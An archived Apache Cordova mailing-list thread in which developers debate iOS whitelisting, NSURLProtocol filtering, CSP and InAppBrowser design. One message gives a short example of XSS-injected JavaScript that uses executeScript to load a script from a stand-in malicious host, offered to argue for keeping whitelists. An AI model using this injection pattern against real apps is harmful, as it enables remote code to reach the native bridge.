cordova-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Andrew Grieve <agri...@chromium.org>
Subject Re: iOS: The future of whitelisting
Date Tue, 16 Apr 2013 13:25:29 GMT
You're right, it only looks at the host right now. We could change that
though.


On Mon, Apr 15, 2013 at 9:11 PM, Kevin Hawkins <
kevin.hawkins.cordova@gmail.com> wrote:

> Thanks Andrew.  Content filtering may be a way to go, if that's possible.
>  Is granular pattern-based whitelisting available in iOS?  I thought it
> only went down to the host pattern level.
>
> Cheers,
> Kevin
>
>
>
> On Mon, Apr 15, 2013 at 4:52 PM, Andrew Grieve <agrieve@chromium.org>
> wrote:
>
> > Sounds like CSP (content security policy) will fill your needs, but we'll
> > have to wait for webviews to support it.
> >
> > So, it sounds like this applies to hosted web apps only? E.g., if this
> was
> > a file:// based app, you would want to bundle icons with your app.
> >
> > Would pattern-based white-list not cover your use-case? e.g.
> > gstatic.google.com/*.png
> >
> > It actually would be feasible to implement content filtering on a
> mime-type
> > basis on iOS & Android 3.0+, but I'm not about to volunteer :P
> >
> >
> >
> > On Mon, Apr 15, 2013 at 6:49 PM, Kevin Hawkins <
> > kevin.hawkins.cordova@gmail.com> wrote:
> >
> > > The biggest issue we have with the current whitelisting in iOS, which I
> > do
> > > consider overreaching, is that it applies to every class of request
> that
> > > comes out of the Cordova web view.  This is most problematic with
> images.
> > >  I can't include stock service provider icons from e.g. twitter.com or
> > > facebook.com, static map images from google.com, etc., because I can't
> > > also
> > > trust those sites to be allowed unfettered access to the bridge.  I.e.
> I
> > > can't whitelist them, because the definition of their security class is
> > > overly broad, such that I have to apply the rules of a high level of
> > trust
> > > to a low level of risk.  Same would hold true for stylesheets, for
> > example.
> > >
> > > It puts us in the unfortunate position of having to choose to either
> have
> > > apps devoid of the rich content available from third parties, apps that
> > are
> > > at least partially broken between Cordova vs. straight web (broken
> image
> > > links, etc.), or no Cordova version of the apps at all (because we
> can't
> > > budge on the pieces that absolutely have to be secured).
> > >
> > > Cheers,
> > > Kevin
> > >
> > >
> > >
> > >
> > > On Mon, Apr 15, 2013 at 1:52 PM, Shazron <shazron@gmail.com> wrote:
> > >
> > > > For the overlay thing, at least for iOS if we have a new window
> option
> > > for
> > > > "toolbar=[yes|no]" this would have almost the desired effect, if we
> > take
> > > > out the animation.
> > > >
> > > >
> > > > On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <agrieve@chromium.org
> >
> > > > wrote:
> > > >
> > > > > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter
> > > > requests
> > > > > from Cordova WebViews. I'd be interested in hearing if you still
> > think
> > > > it's
> > > > > over-reaching.
> > > > >
> > > > > I think the only real way to protect your app is to not have any
> > > > > third-party scripts in it. We have an outstanding issue to create
a
> > > guide
> > > > > for this:
> > > > >
> > > > > https://issues.apache.org/jira/browse/CB-2179
> > > > >
> > > > >
> > > > > Would using InAppBrowser suite your need for handling third-party
> > > > content?
> > > > > E.g. What if we made a mode for IAB where it overlays the page
> (like
> > an
> > > > > iframe) instead of completely covering it?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <
> > shravanrn@google.com
> > > > > >wrote:
> > > > >
> > > > > > Hi,
> > > > > > My name is Shravan - I am an intern at Google working on the
> > Cordova
> > > > App
> > > > > > Harness (tool to test Cordova Apps).
> > > > > >
> > > > > > Something that I noticed while starting work on the App Harness.
> > The
> > > > new
> > > > > > executeScript method allows injection of arbitrary pieces of
> > > javascript
> > > > > in
> > > > > > the InAppBrowsers opened with "window.open". This script runs
in
> > > > context
> > > > > of
> > > > > > the page loaded in the InAppBrowser. Whitelists might be still
> > > required
> > > > > in
> > > > > > this scenario.
> > > > > >
> > > > > > *Quick example*
> > > > > > Consider the scenario that there are no whitelists in the
> > platforms.
> > > > Any
> > > > > > cordova app which is vulnerable to XSS attacks, can have the
> > > following
> > > > > code
> > > > > > injected into them.
> > > > > >
> > > > > > *w = window.open("
> > www.site_that_your_app_normally_doesnt_access.com
> > > ",
> > > > > > "_blank");*
> > > > > > *w.executeScript({ file: "some_** malicious**_
> > site.com/malicious.js
> > > > "});
> > > > > > *
> > > > > > *
> > > > > > *
> > > > > > Thus they can open any website and inject any js file from any
> > > > location.
> > > > > > Whereas with whitelists the js file's domain "*some_**
> malicious**_
> > > > > > site.com"
> > > > > > *  would probably not be a part of the whitelist.
> > > > > >
> > > > > > *Small caveat: *The executeScript does have means to inject
code
> > > > directly
> > > > > > as well with *w.executeScript({code:"(function()
> {alert("Hello");})
> > > > > ();"})
> > > > > > *but
> > > > > > that may require a different solution not pertaining to this
> > > > discussion.
> > > > > >
> > > > > > I don't know if this is a reason to keep the whitelists around
> but
> > > > > thought
> > > > > > I'd mention it.
> > > > > >
> > > > > > Shravan
> > > > > >
> > > > > >
> > > > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shazron@gmail.com>
> > wrote:
> > > > > >
> > > > > > > Also the whitelist might be important for plugins.
> Specifically,
> > > > people
> > > > > > > that need to install plugins have a promise of what external
> > > > locations
> > > > > > are
> > > > > > > being accessed.
> > > > > > >
> > > > > > > However, right now all iOS plugins bypass the whitelist
because
> > of
> > > > our
> > > > > > > User-Agent method, and that needs to be rectified before
this
> > > > "promise"
> > > > > > is
> > > > > > > true.
> > > > > > >
> > > > > > > Certain resources bypass the whitelist anyway because we
have
> no
> > > way
> > > > to
> > > > > > > control them at the moment (audio/video tags):
> > > > > > > https://issues.apache.org/jira/browse/CB-2451
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shazron@gmail.com>
> > > wrote:
> > > > > > >
> > > > > > > > Ideally we would have a WebPolicyDelegate like OS
X
> > > > > > > > (webView:decidePolicyForMIMEType:):
> > > > > > > >
> > > > > > > >
> > > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html
> > > > > > > >
> > > > > > > > ...where we can have some granularity - I'm not sure
we can
> > yet.
> > > If
> > > > > so,
> > > > > > > we
> > > > > > > > can defer to the app developer whether certain things
like
> > images
> > > > can
> > > > > > be
> > > > > > > > let through - for example in MainViewController, you
can set
> > your
> > > > own
> > > > > > > > WebPolicyDelegate. We would allow images through by
default.
> > > > > > > >
> > > > > > > > I'm not sure of "letting the fox in the hen-house"
(allow
> > > > everything)
> > > > > > > then
> > > > > > > > trying to guard against attacks (hens with shotguns?),
this
> is
> > > > > > JavaScript
> > > > > > > > after all. I'm interested however in how your gatekeeper
> > concept
> > > > > works
> > > > > > to
> > > > > > > > help with this since allowing an external URL location
does
> not
> > > > > protect
> > > > > > > > from this attach (think of the situation if the external
host
> > was
> > > > > > hacked,
> > > > > > > > and contained JS that attacks/intercepts our bridge).
> > > > > > > >
> > > > > > > > With the default wildcard in new projects, like others
here
> > have
> > > > > > > > mentioned, the whitelist is effectively turned off,
and 99%
> of
> > > devs
> > > > > > won't
> > > > > > > > care to restrict the whitelist.
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson
<
> > > > > > braden@chromium.org
> > > > > > > >wrote:
> > > > > > > >
> > > > > > > >> Especially since permissions, on platforms that
have such a
> > > > notion,
> > > > > > will
> > > > > > > >> be
> > > > > > > >> (eventually...) controlled by installing those
plugins. So
> you
> > > can
> > > > > > lean
> > > > > > > on
> > > > > > > >> the platform to block access to contacts as well.
Even on
> > > > platforms
> > > > > > > >> without
> > > > > > > >> such permissions control, if we don't load the
> > > contacts-retrieval
> > > > > > native
> > > > > > > >> code, then the JS can't get at it.
> > > > > > > >>
> > > > > > > >> Braden
> > > > > > > >>
> > > > > > > >>
> > > > > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <
> > purplecabbage@gmail.com
> > > >
> > > > > > wrote:
> > > > > > > >>
> > > > > > > >> > I am completely in favor of removing whitelisting
as well.
> >  I
> > > > > > believe
> > > > > > > it
> > > > > > > >> > gives developers a false sense of security.
> > > > > > > >> > imho the only sure way to protect access
to the bridge is
> to
> > > > only
> > > > > > ever
> > > > > > > >> load
> > > > > > > >> > code that you control. We should be pushing
developers
> > towards
> > > > > > > >> > best-practices.
> > > > > > > >> >
> > > > > > > >> > Some of the whitelist stuff should become
redundant when
> we
> > > have
> > > > > > > things
> > > > > > > >> > like the Contact API moved into plugins.
 ie. You can be
> > > > > absolutely
> > > > > > > >> certain
> > > > > > > >> > that no JS code is accessing the device's
contacts if you
> do
> > > not
> > > > > > > include
> > > > > > > >> > the native pieces of the Contact API.
> > > > > > > >> >
> > > > > > > >> > @purplecabbage
> > > > > > > >> > risingj.com
> > > > > > > >> >
> > > > > > > >> >
> > > > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux
<b@brian.io
> >
> > > > wrote:
> > > > > > > >> >
> > > > > > > >> > > We recently moved to * by default to
ease common
> userland
> > > woe.
> > > > > I'd
> > > > > > > be
> > > > > > > >> in
> > > > > > > >> > > favor of removal of whitelisting but
I'm fairly certain
> > that
> > > > > would
> > > > > > > be
> > > > > > > >> > > a controversial position!
> > > > > > > >> > >
> > > > > > > >> > >
> > > > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin
Hawkins <
> > > > > > > >> > > kevin.hawkins.cordova@gmail.com>
wrote:
> > > > > > > >> > >
> > > > > > > >> > > > Hey all,
> > > > > > > >> > > >
> > > > > > > >> > > > Those of us who have been on the
implementing and/or
> > > serious
> > > > > > > >> > consumption
> > > > > > > >> > > > side of whitelisting for iOS—I've
been on both at one
> > time
> > > > or
> > > > > > > >> > > another—know
> > > > > > > >> > > > how much work has gone into trying
to make it a
> > > > full-featured
> > > > > > > >> security
> > > > > > > >> > > > subsystem for the iOS version of
the framework.  I
> want
> > to
> > > > > share
> > > > > > > >> some
> > > > > > > >> > > > feedback based on my organization's
experiences in
> > > > > > implementation,
> > > > > > > >> and
> > > > > > > >> > > > hopefully spark some discussion
about the future of
> > > > > whitelisting
> > > > > > > on
> > > > > > > >> iOS
> > > > > > > >> > > > (and maybe the platform as a whole).
> > > > > > > >> > > >
> > > > > > > >> > > > We're essentially running into
insurmountable issues
> > with
> > > > > > > >> whitelisting
> > > > > > > >> > > for
> > > > > > > >> > > > the use cases we're attempting,
based on the overreach
> > of
> > > > the
> > > > > > > >> > > NSURLProtocol
> > > > > > > >> > > > approach to whitelist handling.
 I say overreach
> > because,
> > > in
> > > > > an
> > > > > > > >> ideal
> > > > > > > >> > > > world, Cordova should only ever
care about
> safeguarding
> > > > > traffic
> > > > > > > >> > destined
> > > > > > > >> > > to
> > > > > > > >> > > > go through the hybrid/native bridge.
 This argument
> can
> > be
> > > > > made
> > > > > > > for
> > > > > > > >> all
> > > > > > > >> > > > platforms, but the lack of granularity
is most
> onerously
> > > > > > > >> overbearing on
> > > > > > > >> > > > iOS, which filters every HTTP(S)
packet that goes
> > through
> > > > the
> > > > > > app.
> > > > > > > >> > > >
> > > > > > > >> > > > Our requirements are very strict
with regard to what's
> > > > > > whitelisted
> > > > > > > >> to
> > > > > > > >> > go
> > > > > > > >> > > > through the bridge.  But the bridge
is conceptually
> the
> > > only
> > > > > > thing
> > > > > > > >> we
> > > > > > > >> > > care
> > > > > > > >> > > > about, within that particular sphere
of security.  We
> > > have a
> > > > > > more
> > > > > > > >> > relaxed
> > > > > > > >> > > > sphere of security for, say, <img
src="
> > > > http://maps.google.com
> > > > > "
> > > > > > > />,
> > > > > > > >> as
> > > > > > > >> > > the
> > > > > > > >> > > > threat vectors exposed through
image rendering are
> > > > > considerably
> > > > > > > less
> > > > > > > >> > than
> > > > > > > >> > > > malicious injected bridge code.
> > > > > > > >> > > >
> > > > > > > >> > > > Alas, we don't—and arguably never
will—have that kind
> of
> > > > > > granular
> > > > > > > >> > control
> > > > > > > >> > > > in iOS, with the current implementation
approach.
> > > > >  NSURLProtocol
> > > > > > > is
> > > > > > > >> > > simply
> > > > > > > >> > > > too broad-brush to meld into a
granular approach for
> > > > > > whitelisting.
> > > > > > > >>  The
> > > > > > > >> > > end
> > > > > > > >> > > > result is that we lose the ability
to deliver a rich
> > > content
> > > > > > > >> experience
> > > > > > > >> > > > that leverages third party artifacts,
because we're
> > forced
> > > > to
> > > > > go
> > > > > > > >> with
> > > > > > > >> > the
> > > > > > > >> > > > sphere of security that gives us
the highest scrutiny,
> > > > across
> > > > > > the
> > > > > > > >> > board.
> > > > > > > >> > > >
> > > > > > > >> > > > We've been considering (very early
phase) some
> > alternative
> > > > > > > >> approaches
> > > > > > > >> > to
> > > > > > > >> > > > managing whitelisting.  Our current
thinking has been
> > > > focusing
> > > > > > on
> > > > > > > a
> > > > > > > >> > > > gatekeeper (on the native side)
to the bridge itself.
> > >  This
> > > > > > would
> > > > > > > >> > enforce
> > > > > > > >> > > > some sort of contract between the
hybrid and native
> > side,
> > > to
> > > > > > make
> > > > > > > a
> > > > > > > >> > > > determination of which traffic
is authorized to
> > > specifically
> > > > > go
> > > > > > > >> through
> > > > > > > >> > > the
> > > > > > > >> > > > bridge.  I'm not sure what that
contract looks like at
> > > this
> > > > > > point,
> > > > > > > >> but
> > > > > > > >> > > > enforcement would be bridge-specific,
and all other
> > > webview
> > > > > > > traffic
> > > > > > > >> > would
> > > > > > > >> > > > otherwise behave as it would in
a normal web
> > application.
> > > > > > > >> > > >
> > > > > > > >> > > > I know from past discussions that
many (most?) Cordova
> > > > > > developers
> > > > > > > >> don't
> > > > > > > >> > > > generally use the whitelist, since
their security
> > concerns
> > > > may
> > > > > > not
> > > > > > > >> be
> > > > > > > >> > as
> > > > > > > >> > > > great, and/or they exclusively
host their app
> > > functionality
> > > > > > > locally
> > > > > > > >> to
> > > > > > > >> > > the
> > > > > > > >> > > > device, which allows them to essentially
implement
> their
> > > own
> > > > > > > >> controls
> > > > > > > >> > on
> > > > > > > >> > > > attack vectors through selective
app content.  In our
> > > case,
> > > > > > we're
> > > > > > > >> > > building
> > > > > > > >> > > > an enterprise platform where content
could come from
> any
> > > > > number
> > > > > > of
> > > > > > > >> > > sources.
> > > > > > > >> > > >  And whitelisting controls are
not working for us.
> > > > > > > >> > > >
> > > > > > > >> > > > If there's a future for whitelisting
in Cordova 3.0, I
> > > > > > personally
> > > > > > > >> feel
> > > > > > > >> > > that
> > > > > > > >> > > > it needs to be revisited.  I'd
be interested to hear
> > > > thoughts
> > > > > > from
> > > > > > > >> > others
> > > > > > > >> > > > on their usage patterns, and responses
to my concerns.
> > > > > > > >> > > >
> > > > > > > >> > > > Cheers,
> > > > > > > >> > > > Kevin
> > > > > > > >> > > >
> > > > > > > >> > >
> > > > > > > >> >
> > > > > > > >>
> > > > > > > >
> > > > > > > >
> > > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
>

Mime
  • Unnamed multipart/alternative (inline, None, 0 bytes)
View raw message